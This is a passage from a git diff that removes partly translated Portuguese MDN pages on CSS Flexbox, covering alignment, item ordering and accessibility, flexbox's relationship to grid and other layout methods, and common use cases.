Three items, one with additional text causing it to be taller than the others.

- -

Three items stretched to 200 pixels tall

- -

A razão pela qual os items ficam da mesma altura é porque o valor inicial do align-items, a propriedade que controla o alinhamento no eixo transversal, está definida para stretch.

- -

Podemos utilizar outros valores para controlar de que forma os itens se alinham:

- -
    -
  • align-items: flex-start
  • -
  • align-items: flex-end
  • -
  • align-items: center
  • -
  • align-items: stretch
  • -
  • align-items: baseline
  • -
- -

No exemplo de baixo, o valor do align-items é stretch. Experimenta os outros valores e observa como todos os itens se alinham em relação aos outros no flex container.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} 

- -

Alinhar um item com align-self

- -

A propriedade align-items define a propriedade align-self em todos os itens da flex como um grupo. Isto significa que tu podes explicitamente declarar a propriedade align-self para visar um único item. A propriedade align-self aceita todos os valores da align-items , mais o valor  auto, que irá dar reset ao valor definido na flex container.

- -

Neste próximo exemplo, o flex container tem align-items: flex-start, o que significa que os itens estão todos alinhados com o início do eixo transversal. Eu visei o primeiro item utilizado um first-child e defini esse item para align-items: stretch; outro item foi selecionado utilizando a sua classe de selected e foi-lhe dado align-items: center. Podes alterar o valor do align-items ou os valores do align-self em itens individuais para veres como funciona.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} 

- -

Alteração do eixo principal

- -

Até agora observámos o comportamento quando o nosso flex-direction é row, enquanto trabalhamos numa linguagem escrita de cima a baixo. Isto significa que o eixo principal "corre" horizontalmente, e o alinhamento do nosso eixo transversal muda os itens para cima e para baixo.

- -

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis.

- -

Se nós mudarmos o nosso flex-direction para column, o align-items e o align-self irão alinhar os itens para a esquerda e para a direita.

- -

Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis.

- -

Podes testar isto no exemplo abaixo, que tem um flex container com flex-direction: column mas de resto, é exatamente igual ao exemplo anterior.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} 

- -

Alinhar conteúdo no eixo transversal — a propriedade align-content

- -

Até agora temos estado a alinhar os itens, ou um item individual, dentro da área definida pelo flex-container. Se tu tiveres um wrapped multiple-line flex container então também poderás querer utilizar a propriedade align-content para controlar a distribuição do espaço entrelinhas. Na especificação isto é descrito como empacotar as linhas do flex.

- -

Para o align-content funcionar, precisarás de mais altura no teu flex container do que é necessário para mostrar os itens. Irá então afetar todos os itens como um conjunto, e ditará o que irá acontecer com esse espaço livre, e o alinhamento do conjunto inteiro de itens dentro dele.

- -

A propriedade align-content aceita os seguintes valores:

- -
    -
  • align-content: flex-start
  • -
  • align-content: flex-end
  • -
  • align-content: center
  • -
  • align-content: space-between
  • -
  • align-content: space-around
  • -
  • align-content: stretch
  • -
  • align-content: space-evenly (não definido na especificação da Flexbox)
  • -
- -

No exemplo abaixo, o flex container tem uma altura de 400 pixels, o que é mais do que necessário para mostrar os nossos itens. O valor do align-content é space-between, o que significa que o espaço disponível é partilhado entre as linhas da flex, que está posicionada nívelado com o início e o fim do container no eixo transversal.

- -

Experimenta os outros valores para veres como a propriedade align-content funciona.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} 

- -

Mais uma vez podemos alterar o nosso flex-direction para column de forma a observar como esta propriedade se comporta quando estamos a trabalhar por coluna. Tal como anteriormente, precisamos de espaço suficiente no eixo transversal para ter algum espaço livre depois de mostrar todos os itens.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} 

- -
-

Nota: o valor space-evenly não está definido na especificação da flexbox e será uma adição posterior à especificação do Alinhamento da Caixa. O suporte dos navegadores para este valor não é tão bom quanto o suporte para os valore definidos na especificação da flexbox.

-
- -

Lê a documentação para o justify-content no MDN para mais detalhes sobre todos estes valores, e o seu suporte em navegadores.

- -

Alinhar conteúdo no eixo principal

- -

Agora que já vimos como o alinhamento funciona no eixo transversal, podemos dar uma olhada no eixo principal. Aqui temos apenas uma propriedade disponível — justify-content. Isto é porque apenas estaremos a lidar como itens como se fossem um grupo no eixo principal. Com o justify-content we control what happens with available space, should there be more space than is needed to display the items.

- -

In our initial example with display: flex on the container, the items display as a row and all line up at the start of the container. This is due to the initial value of justify-content being flex-start. Any available space is placed at the end of the items.

- -

Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items.

- -

The justify-content property accepts the same values as align-content.

- -
    -
  • align-content: flex-start
  • -
  • align-content: flex-end
  • -
  • align-content: center
  • -
  • align-content: space-between
  • -
  • align-content: space-around
  • -
  • align-content: stretch
  • -
  • align-content: space-evenly (not defined in the Flexbox specification)
  • -
- -

In the example below, the value of justify-content is space-between. The available space after displaying the items is distributed between the items. The left and right item line up flush with the start and end.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content.html", '100%', 480)}} 

- -

If the main axis is in the block direction because flex-direction is set to column, then justify-content will distribute space between items in that dimension as long as there is space in the flex container to distribute.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-column.html", '100%', 880)}} 

- -

Modos de Alinhamento e Gravação

- -

Remember that with all of these alignment methods, the values of flex-start and flex-end are writing mode-aware. If the value of justify-content is start and the writing mode is left-to-right as in English, the items will line up starting at the left side of the container.

- -

Three items lined up on the left

- -

However if the writing mode is right-to-left as in Arabic, the items will line up starting at the right side of the container.

- -

Three items lined up from the right

- -

The live example below has the direction property set to rtl to force a right-to-left flow for our items. You can remove this, or change the values of justify-content to see how flexbox behaves when the start of the inline direction is on the right.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-writing-mode.html", '100%', 440)}} 

- -

Alinhamento e flex-direction

- -

The start line will also change if you change the flex-direction property — for example using row-reverse instead of row.

- -

In this next example I have items laid out with flex-direction: row-reverse and justify-content: flex-end. In a left to right language the items all line up on the left. Try changing flex-direction: row-reverse to flex-direction: row. You will see that the items now move to the right hand side.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/justify-content-reverse.html", '100%', 440)}} 

- -

While this may all seem a little confusing, the rule to remember is that unless you do something to change it, flex items lay themselves out in the direction that words are laid out in the language of your document along the inline, row axis. flex-start will be where the start of a sentence of text would begin.

- -

Diagram showing start on the left and end on the right.

- -

You can switch them to display in the block direction for the language of your document by selecting flex-direction: column. Then flex-start will then be where the top of your first paragraph of text would start.

- -

Diagram showing start and the top and end at the bottom.

- -

If you change flex-direction to one of the reverse values, then they will lay themselves out from the end axis and in the reverse order to the way words are written in the language of your document. flex-start will then change to the end of that axis — so to the location where your lines would wrap if working in rows, or at the end of your last paragraph of text in the block direction.

- -

Diagram showing start on the right and end on the left.

- -

Diagram showing end at the top and start at the bottom

- -

Utilização de margen automáticas para o alinhamento do eixo principal

- -

We don’t have a justify-items or justify-self property available to us on the main axis as our items are treated as a group on that axis. However it is possible to do some individual alignment in order to separate an item or a group of items from others by using auto margins along with flexbox.

- -

A common pattern is a navigation bar where some key items are aligned to the right, with the main group on the left. You might think that this should be a use case for a justify-self property, however consider the image below. I have three items on one side and two on the other. If I were able to use justify-self on item d, it would also change the alignment of item e that follows, which may or may not be my intention.

- -

Five items, in two groups. Three on the left and two on the right.

- -

Instead we can target item 4 and separate it from the first three items by giving it a margin-left value of auto. Auto margins will take up all of the space that they can in their axis — it is how entering a block with margin auto left and right works. Each side tries to take as much space as it can, and so the block is pushed into the middle.

- -

In this live example, I have flex items arranged simply into a row with the basic flex values, and the class push has margin-left: auto. You can try removing this, or adding the class to another item to see how it works.

- -

{{EmbedGHLiveSample("css-examples/flexbox/alignment/auto-margins.html", '100%', 470)}} 

- -

Funcionalidades de alinhamento futuras para o Flexbox

- -

At the beginning of this article I explained that the alignment properties currently contained in the Level 1 flexbox specification are also included in Box Alignment Level 3, which may well extend these properties and values in the future. We have already seen one place where this has happened, with the introduction of the space-evenly value for align-content and justify-content properties.

- -

The Box Alignment module also includes other methods of creating space between items, such as the column-gap and row-gap feature as seen in CSS Grid Layout. The inclusion of these properties in Box Alignment means that in future we should be able to use column-gap and row-gap in flex layouts too. This will mean you won’t need to use margins to space out flex items.

- -

My suggestion when exploring flexbox alignment in depth is to do so alongside looking at alignment in Grid Layout. Both specifications use the alignment properties as detailed in the Box Alignment specification. You can see how these properties behave when working with a grid in the MDN article Box Alignment in Grid Layout, and I have also compared how alignment works in these specifications in my Box Alignment Cheatsheet.

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/index.html b/files/pt-pt/web/css/css_flexible_box_layout/index.html deleted file mode 100644 index ec5c17b62e..0000000000 --- a/files/pt-pt/web/css/css_flexible_box_layout/index.html +++ /dev/null @@ -1,155 +0,0 @@ ---- -title: CSS Flexible Box Layout -slug: Web/CSS/CSS_Flexible_Box_Layout -tags: - - CSS - - CSS Flexible Boxes - - NeedsTranslation - - Overview - - Reference - - TopicStub -translation_of: Web/CSS/CSS_Flexible_Box_Layout ---- -
{{CSSRef}}
- -

CSS Flexible Box Layout is a module of CSS that defines a CSS box model optimized for user interface design, and the layout of items in one dimension. In the flex layout model, the children of a flex container can be laid out in any direction, and can “flex” their sizes, either growing to fill unused space or shrinking to avoid overflowing the parent. Both horizontal and vertical alignment of the children can be easily manipulated.

- -

Basic Example

- -

In the following example a container has been set to display: flex, which means that the three child items become flex items. The value of justify-content has been set to space-between in order to space the items out evenly on the main axis. An equal amount of space is placed between each item with the left and right items being flush with the edges of the flex container. You can also see that the items are stretching on the cross axis, due to the default value of align-items being stretch. The items stretch to the height of the flex container, making them each appear as tall as the tallest item.

- -

{{EmbedGHLiveSample("css-examples/flexbox/basics/simple-example.html", '100%', 500)}}

- -

Reference

- -

CSS Properties

- -
-
    -
  • {{cssxref("align-content")}}
  • -
  • {{cssxref("align-items")}}
  • -
  • {{cssxref("align-self")}}
  • -
  • {{cssxref("flex")}}
  • -
  • {{cssxref("flex-basis")}}
  • -
  • {{cssxref("flex-direction")}}
  • -
  • {{cssxref("flex-flow")}}
  • -
  • {{cssxref("flex-grow")}}
  • -
  • {{cssxref("flex-shrink")}}
  • -
  • {{cssxref("flex-wrap")}}
  • -
  • {{cssxref("justify-content")}}
  • -
  • {{cssxref("order")}}
  • -
-
- -

Glossary entries

- - - -

Guides

- -
-
Basic Concepts of Flexbox
-
An overview of the features of flexbox
-
Relationship of flexbox to other layout methods
-
How flexbox relates to other layout methods, and other CSS specifications
-
Aligning items in a flex container
-
How the Box Alignment properties work with flexbox.
-
Ordering flex items
-
Explaining the different ways to change the order and direction of items, and covering the potential issues in doing so.
-
Controlling Ratios of flex items along the main axis
-
This article explains the flex-grow, flex-shrink and flex-basis properties.
-
Mastering wrapping of flex items
-
How to create flex containers with multiple lines and control the display of the items in those lines.
-
Typical use cases of flexbox
-
Common design patterns that are typical flexbox use cases.
-
Backwards compatibility of Flexbox
-
Browser status of flexbox, interoperability issues and supporting older browsers and versions of the spec
-
- -

External resources

- - - -

Specifications

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{ SpecName('CSS3 Flexbox') }}{{ Spec2('CSS3 Flexbox') }}Initial definition.
- -

Browser compatibility

- -

{{CompatibilityTable()}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatGeckoDesktop("20.0")}}21.0{{property_prefix("-webkit")}}
- 29.0
10.0{{property_prefix("-ms")}}
- 11.0
12.106.1{{property_prefix("-webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureFirefox Mobile (Gecko)AndroidIE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown()}}4.41112.107.1{{property_prefix("-webkit")}}
-
- -

 

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html b/files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html deleted file mode 100644 index 3f17cfbffa..0000000000 --- a/files/pt-pt/web/css/css_flexible_box_layout/ordering_flex_items/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Ordenação do itens Flex -slug: Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items -tags: - - Acessibilidade - - CSS - - Flex - - Guía - - direção - - flexbox - - ordem - - reverter -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items -original_slug: Web/CSS/CSS_Flexible_Box_Layout/ordenacao_dos_itens_flex ---- -

{{CSSRef}}

- -

Os novos métodos de layout, tais como Flexbox e Grielha trazem com eles a possibilidade de controlar a ordem do conteúdo. Neste artigo, nós iremos analisar as maneiras pelas quais pode alterar a ordem visual do seu conteúdo quando utilizar o Flexbox. Nós também iremos considerar as implicações de reordenar itens de um ponto de vista de acessibilidade.

- -

Reverter a exibição dos itens

- -

The {{cssxref("flex-direction")}} property can take one of four values:

- -
    -
  • row
  • -
  • column
  • -
  • row-reverse
  • -
  • column-reverse
  • -
- -

The first two values keep the items in the same order that they appear in the document source order and display them sequentially from the start line.

- -

The items are displayed in a row starting on the left.

- -

The items are displayed as a column starting from the top

- -

The second two values reverse the items by switching the start and end lines.

- -

The items are displayed in reverse order starting on the right-hand line.

- -

The items are displayed in a column in reverse order starting at the bottom line.

- -

Remember that the start line relates to writing modes. The row-related examples above demonstrate how row and row-reverse work in a left-to-right language such as English. If you were working in a right-to-left language like Arabic then row would start on the right, row-reverse on the left.

- -

Flex containers with Arabic letters showing how row starts from the right hand side and row-reverse from the left.

- -

This can seem like a neat way to display things in reverse order however you should be mindful that the items are only visually displayed in reverse order. The specification says the following on this matter:

- -
-

“Nota: The reordering capabilities of flex layout intentionally affect only the visual rendering, leaving speech order and navigation based on the source order. This allows authors to manipulate the visual presentation while leaving the source order intact for non-CSS UAs and for linear models such as speech and sequential navigation.” - Ordering and Orientation

-
- -

If your items were links or some other element that the user could tab to, then the tabbing order would be the order that these items appear in the document source — not your visual order.

- -

If you are using a reverse value, or otherwise reordering your items, you should consider whether you actually need to change the logical order in the source. The specification continues with a warning not to use reordering to fix issues in your source:

- -
-

“Authors must not use order or the -reverse values of flex-flow/flex-direction as a substitute for correct source ordering, as that can ruin the accessibility of the document.”

-
- -
-

Nota: For some years Firefox had a bug whereby it would attempt to follow the visual order and not the source order, making it behave differently to other browsers. This has now been fixed. You should always take the source order as the logical order of the document as all up-to-date user agents will be following the specification and doing so.

-
- -

In the live example below I have added a focus style in order that as you tab from link to link you can see which is highlighted. If you change the order using flex-direction you can see how the tab order continues to follow the order that the items are listed in the source.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/order.html", '100%', 500)}}

- -

In the same way that changing the value of flex-direction does not change the order in which items are navigated to, changing this value does not change paint order. It is a visual reversal of the items only.

- -

A propriedade order

- -

In addition to reversing the order in which flex items are visually displayed, you can target individual items and change where they appear in the visual order with the {{cssxref("order")}} property.

- -

The order property is designed to lay the items out in ordinal groups. What this means is that items are assigned an integer that represents their group. The items are then placed in the visual order according to that integer, lowest values first. If more than one item has the same integer value, then within that group the items are laid out as per source order.

- -

As an example, I have 5 flex items, and assign order values as follows:

- -
    -
  • Source item 1: order: 2
  • -
  • Source item 2: order: 3
  • -
  • Source item 3: order: 1
  • -
  • Source item 4: order: 3
  • -
  • Source item 5: order: 1
  • -
- -

These items would be displayed on the page in the following order:

- -
    -
  • Source item 3: order: 1
  • -
  • Source item 5: order: 1
  • -
  • Source item 1: order: 2
  • -
  • Source item 2: order: 3
  • -
  • Source item 4: order: 3
  • -
- -

Items have a number showing their source order which has been rearranged.

- -

You can play around with the values in this live example below and see how that changes the order. Also, try changing flex-direction to row-reverse and see what happens — the start line is switched so the ordering begins from the opposite side.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/flex-direction.html", '100%', 440)}}

- -

Flex items have a default order value of 0, therefore items with an integer value greater than 0 will be displayed after any items that have not been given an explicit order value.

- -

You can also use negative values with order, which can be quite useful. If you want to make one item display first, and leave the order of all other items unchanged, you can give that item an order of -1. As this is lower than 0 the item will always be displayed first.

- -

In the live code example below I have items laid out using Flexbox. By changing which item has the class active assigned to it in the HTML, you can change which item displays first and therefore becomes full width at the top of the layout, with the other items displaying below it.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/negative-order.html", '100%', 520)}}

- -

The items are displayed in what is described in the specification as order-modified document order. The value of the order property is taken into account before the items are displayed.

- -

Order also changes the paint order of the items; items with a lower value for order will be painted first and those with a higher value for order painted afterwards.

- -

A propriedade order e acessibilidade

- -

Use of the order property has exactly the same implications for accessibility as changing the direction with flex-direction. Using order changes the order in which items are painted, and the order in which they appear visually. It does not change the sequential navigation order of the items. Therefore if a user is tabbing between the items, they could find themselves jumping around your layout in a very confusing way.

- -

By tabbing around any of the live examples on this page, you can see how order is potentially creating a strange experience for anyone not using a pointing device of some kind. To read more about this disconnect of visual order and logical order and some of the potential problems it raises for accessibility, see the following resources.

- - - -

Casos de utilização para order

- -

There are sometimes places where the fact that the logical and therefore reading order of flex items is separate from the visual order, is helpful. Used carefully the order property can allow for some useful common patterns to be easily implemented.

- -

You might have a design, perhaps a card that will display a news item. The heading of the news item is the key thing to highlight and would be the element that a user might jump to if they were tabbing between headings to find content they wanted to read. The card also has a date; the finished design we want to create is something like this.

- -

A design component with a date, then heading and then content.

- -

Visually the date appears above the heading, in the source. However, if the card was read out by a screen reader I would prefer that the title was announced first and then the publication date. We can make this so using the order property.

- -

The card is going to be our flex container, with flex-direction set to column. I then give the date an order of -1. This pulls it up above the heading.

- -

{{EmbedGHLiveSample("css-examples/flexbox/order/usecase-order.html", '100%', 730)}}

- -

These small tweaks are the sort of cases where the order property makes sense. Keep the logical order as the reading and tab order of the document, and maintain that in the most accessible and structured fashion. Then use order for purely visual design tweaks. When doing so take care that you are not reordering items that could be accessed by the keyboard as a user is tabbing around. Especially when using newer layout methods you should ensure that your browser testing includes testing the site using keyboard only, rather than a mouse or touchscreen. You will quickly see if your development choices make getting around the content difficult.

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html b/files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html deleted file mode 100644 index 34e3a88d9b..0000000000 --- a/files/pt-pt/web/css/css_flexible_box_layout/relationship_of_flexbox_to_other_layout_methods/index.html +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: Relação do flexbox com outros métodos de layout -slug: >- - Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods -tags: - - CSS - - Guía - - Modo de Gravação - - alinhamento de caixa - - conteúdos - - exibição - - flexbox - - grelha -translation_of: >- - Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods -original_slug: >- - Web/CSS/CSS_Flexible_Box_Layout/relação_do_flexbox_com_outros_métodos_de_layout ---- -
{{CSSRef}}
- -

Neste artigo, nós iremos ver como o Flexbox se encaixa com todos os outros módulos de CSS. Nós iremos saber quais as especificações que também precisa de ter em consideração se quiser aprender flexboxm, e saber por que o flexbox é diferente de alguns outros módulos.

- -
-

Nota: CSS versions 1 and 2 were a single monolithic specification where all of CSS was defined in one large document. As CSS became a more feature rich language, maintaining one huge specification became problematic, with different parts of CSS moving on at different speeds. CSS was therefore modularised, and the various CSS Specifications are different modules that make up CSS today. These modules relate to each other, and are at different stages of development.

-
- -

O módulo de alinhamento de caixa

- -

For many people the first reason they start to look at flexbox is because of the ability to properly align flex items inside a flex container. Flexbox provides access to properties that allow the alignment of items on their cross axis and justification of items on the main axis.

- -

These properties started life in the flexbox specification, but are now also part of the Especificação de Alinhamento de Caixa (inglês). This specification details how alignment works in all layout — not just flexbox. Box alignment deals with alignment and justification, and also distribution of space along an axis.

- -

The reason that the Box alignment properties remain detailed in the flexbox specification as well as being in box alignment is to ensure that completion of the flexbox spec is not held up by box alignment, which has to detail these methods for all layout types. There is a note in the flexbox spec stating that in future, once it is completed, the definitions in Box Alignment Level 3 will supercede those of flexbox:

- -
-

"Note: While the alignment properties are defined in CSS Box Alignment CSS-ALIGN-3, Flexible Box Layout reproduces the definitions of the relevant ones here so as to not create a normative dependency that may slow down advancement of the spec. These properties apply only to flex layout until CSS Box Alignment Level 3 is finished and defines their effect for other layout modes. Additionally, any new values defined in the Box Alignment module will apply to Flexible Box Layout; in otherwords, the Box Alignment module, once completed, will supercede the definitions here."

-
- -

In a later article in this series — Aligning items in a flex container — we will take a thorough look at how the Box Alignment properties apply to flex items.

- -

As propriedades de gap

- -

A recent addition to the Box Alignment specification has been the {{cssxref("row-gap")}} and {{cssxref("column-gap")}} properties, long with the shorthand {{cssxref("gap")}}. These properties were initially defined in the CSS Grid specification and named grid-row-gap, grid-column-gap and grid-gap. They have been renamed and moved to Box Alignment in order that they can be used in all layout methods — this will ultimately include flexbox. Until browsers implement the gap properties for flexbox, {{cssxref("margin")}}s have to be used to create gaps between items.

- -

Modos de Gravação

- -

In the Basic concepts of flexbox article, I explained that flexbox is writing mode aware. Writing modes are fully detailed in the CSS Writing Modes specification, which details how CSS supports the various different writing modes that exist internationally. We need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out in our document. Understanding block and inline directions is key to new layout methods.

- -

It is worth noting that we might want to change the writing mode of our document for reasons other than publishing content in a language that uses a different writing mode. See this article for a full description of writing modes and ways to use them, both for content in other languages and for creative reasons. 

- -

Os modes de gravação

- -

The writing modes specification defines the following values of the {{cssxref("writing-mode")}} property, which serve to change the direction that blocks are laid out on the page, to match the direction that blocks lay out when content is formatted in that particular writing mode. You can change the live example below to these modes in order to see what happens to the flex layout.

- -
    -
  • horizontal-tb
  • -
  • vertical-rl
  • -
  • vertical-lr
  • -
  • sideways-rl
  • -
  • sideways-lr
  • -
- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/writing-modes.html", '100%', 360)}} 

- -

Note that sideways-rl and sideways-lr have support only in Firefox currently. There are also some known issues with regard to writing-mode and flexbox. You can see more information on browser support in the MDN documentation for writing-mode. However if you are planning on using writing modes in your layout, carefully testing the results is advisable — not least because it would be easy to make things hard to read!

- -

Note that you would not normally use CSS and the writing-mode property to change an entire document to another writing mode. This would be done via HTML, by add a dir and lang attribute to the html element to indicate the document language and default text direction. This would mean that the document would display correctly even if CSS did not load.

- -

Flexbox e outros métodos de layout

- -

The flexbox specification contains a definition of what happens if an item uses another layout method and then becomes a flex item. For example, if an item is floated and then its parent becomes a flex container. Or, how a flex container behaves as part of layout.

- -

An element set to display: flex behaves in most ways like any other block level container that establishes a containing block. Floats will not intrude, and the containers' margins will not collapse.

- -

With regard to flex items, if an item was floated or cleared and then becomes a flex item due to the parent having display: flex applied, the floating and clearing will no longer happen, and the item will not be taken out of normal flow in the way that floats are. If you have used the {{cssxref("vertical-align")}} property, as used with inline-block or table layout for alignment, this will no longer affect the item and you can use the alignment properties of flexbox instead.

- -

In this next live example the child elements have been floated, and then their container has had display: flex added. If you remove display: flex, you should see that the .box element collapses as we have no clearing applied. This demonstrates that the float is happening. Re-apply display: flex and the collapsing does not happen. This is because the items no longer have a float applied, as they have been transformed into flex items.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/floats.html", '100%', 430)}}

- -

Flexbox e Layout de Grelha

- -

CSS Grid Layout and Flexbox generally act in the same way with regards to overwriting other methods. You might however want to use flexbox as a fallback for grid layout, as there is better support for flexbox in older browsers. This approach works very well. If a flex item becomes a grid item, then the flex properties that may have been assigned to the child elements will be ignored.

- -

You can use the Box Alignment properties across both layout methods, so using flexbox as a fallback for grid layout can work very well.

- -

Flex e grelha — qual é a diferença?

- -

A common question is to ask what the difference is between Flexbox and CSS Grid Layout — why do we have two specifications that sometimes appear to be doing the same thing as each other?

- -

The most straightforward answer to this question is defined in the specifications themselves. Flexbox is a one-dimensional layout method whereas Grid Layout is a two-dimensional layout method. In the below example I have a flex layout. As already described in the Basic concepts article, flex items can be allowed to wrap but, once they do so, each line becomes a flex container of its own. When space is distributed flexbox does not look at the placement of items in other rows and tries to line things up with each other.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/flex-layout.html", '100%', 750)}}

- -

If we create a very similar layout using Grid, we can control the layout in both rows and columns.

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/grid-layout.html", '100%', 700)}}

- -

These examples point to another key differences between these layout methods. In Grid Layout you do the majority of sizing specification on the container, setting up tracks and then placing items into them. In flexbox, while you create a flex container and set the direction at that level, any control over item sizing needs to happen on the items themselves.

- -

In some cases you could happily use either layout method, but as you become confident with both you will find each one suiting different layout needs, and you will end up with both methods in your CSS. There is rarely a right or wrong answer.

- -

As a rule of thumb, if you are adding widths to flex items in order to make items in one row of a wrapped flex container line up with the items above them you really want two-dimensional layout. In this case it is likely that the component would be better laid out using CSS Grid Layout. It isn't the case that you should use flexbox for small components and grid layout for larger ones; a tiny component can be two dimensional, and a large layout can be represented better with layout in one dimension. Try things out — we have a choice in layout method for the first time, so take advantage of it.

- -

For more comparisons of grid and flexbox see the article Relationship of Grid Layout to other layout methods. This article details many of the ways that Grid Layout differs from flex layout, and demonstrates some of the extra functionality you get when using Grid Layout such as layering of items on the grid. This may also help in your decision as to which layout method to use.

- -

Flexbox e exibição: conteúdos

- -

The contents value of the {{cssxref("display")}} property is a new value that is described in the spec as follows:

- -
-

“The element itself does not generate any boxes, but its children and pseudo-elements still generate boxes as normal. For the purposes of box generation and layout, the element must be treated as if it had been replaced with its children and pseudo-elements in the document tree.”

-
- -

This value of display controls box generation, and whether the element should generate a box that we can style and see on the page, or whether instead the box it would normally create should be removed and the child elements essentially moved up to participate in whatever layout method the parent would have been part of. This is much easier to see with an example.

- -

In the following live example I have a flex container with three child elements. One of these flex items has two elements nested inside it, which would not ordinarily participate in flex layout. Flex layout only applies to the direct children of a flex container.

- -

By adding display: contents to the wrapper around the nested elements, you can see that that item has disappeared from the layout, allowing the two sub-children to be laid out as if they were direct children of the flex container. You can try removing the display: contents line to see it return.

- -

Note that this only removes the box from the layout; the sub-children don’t become direct children in any other way. You can see that as I have used a direct child selector to add the background and borders to the flex items, this has not been applied to our nested children. They have been laid out as flex items, but as they are not direct children they do not get the other styling.

- -

Also, having removed the box you cannot then use it to — for example — add a background colour behind the nested sub children. If you remove display: contents in this live example you will see that the direct child we are removing has an orange background colour. This also disappears when the box disappears. 

- -

{{EmbedGHLiveSample("css-examples/flexbox/relationship/display-contents.html", '100%', 650)}}

- -

Browser support for display:contents is limited and required for this demo to work. Firefox supports display: contents already, and the value is being implemented in Chrome. Once there is better browser support this feature will be very useful in circumstances where you need the markup for semantic reasons but do not want to display the box that it would generate by default.

diff --git a/files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html b/files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html deleted file mode 100644 index 2c46d66a2c..0000000000 --- a/files/pt-pt/web/css/css_flexible_box_layout/typical_use_cases_of_flexbox/index.html +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Casos de utilização típicos do Flexbox -slug: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox -tags: - - CSS - - Caixa Flexível - - Flexible Box - - Guía - - flexbox - - padrões - - utilizações comuns -translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox -original_slug: Web/CSS/CSS_Flexible_Box_Layout/casos_de_utilizacao_tipicos_do_flexbox ---- -

{{CSSRef}}

- -

Neste guia, nós vamos dar uma vista de olhos em alguns dos casos de utilização comuns para o flexbox - esses lugares onde faz mais sentido do que outro método de layout .

- -

Porque escolher flexbox?

- -

In a perfect world of browser support, the reason you'd choose to use flexbox is because you want to lay a collection of items out in one direction or another. As you lay out your items you want to control the dimensions of the items in that one dimension, or control the spacing between items. These are the uses that flexbox was designed for. You can read more about the difference between flexbox and CSS Grid Layout in Relationship of Flexbox to other layout methods, where we discuss how flexbox fits into the overall picture of CSS Layout.

- -

In reality we also often use Flexbox for jobs that might be better done by Grid Layout, as a fallback for Grid, and also in order to get alignment capabilities. This is something that may well change once Box Alignment is implemented in Block Layout. In this guide I look at some of the typical things you might use flexbox for today.

- - - -

A common pattern for navigation is to have a list of items displayed as a horizontal bar. This pattern, as basic as it seems, was difficult to achieve before flexbox. It forms the most simple of flexbox examples, and could be considered the ideal flexbox use case.

- -

When we have a set of items that we want to display horizontally, we may well end up with additional space. We need to decide what to do with that space, and have a couple of options. We either display the space outside of the items — therefore spacing them out with white space between or around them — or we absorb the extra space inside the items and therefore need a method of allowing the items to grow and take up this space.

- -

Espaço distribuído fora dos itens

- -

To distribute the space between or around the items we use the alignment properties in flexbox, and the {{cssxref("justify-content")}} property. You can read more about this property in Aligning Items in a flex container, which deals with aligning items on the main axis.

- -

In the below live example we display the items at their natural size and by using justify-content: space-between make equal amounts of space between the items. You can change how the space is distributed using the space-around value, or where supported, space-evenly. You could also use flex-start to place the space at the end of the items, flex-end to place it before them, or center to centre the navigation items.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}

- -

Espaço distribuído dentro dos itens

- -

A different pattern for navigation would be to distribute the available space within the items themselves, rather than create space between them. In this case we would use the {{cssxref("flex")}} properties to allow items to grow and shrink in proportion to one another as described in Controlling ratios of flex items along the main axis.

- -

If I wanted all of my navigation items to have equal width, then I might use flex: auto, which is the shorthand for flex: 1 1 auto — all items grow and shrink from a flex-basis of auto. This would mean that the longer item would have more space.

- -

In the live example below try changing flex: auto to flex: 1. This is the shorthand for flex: 1 1 0 and causes all of the items become the same width, as they are working from a flex-basis of 0 allowing all of the space to be distributed evenly.

- -

{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}

- -

Dividir navegação

- -

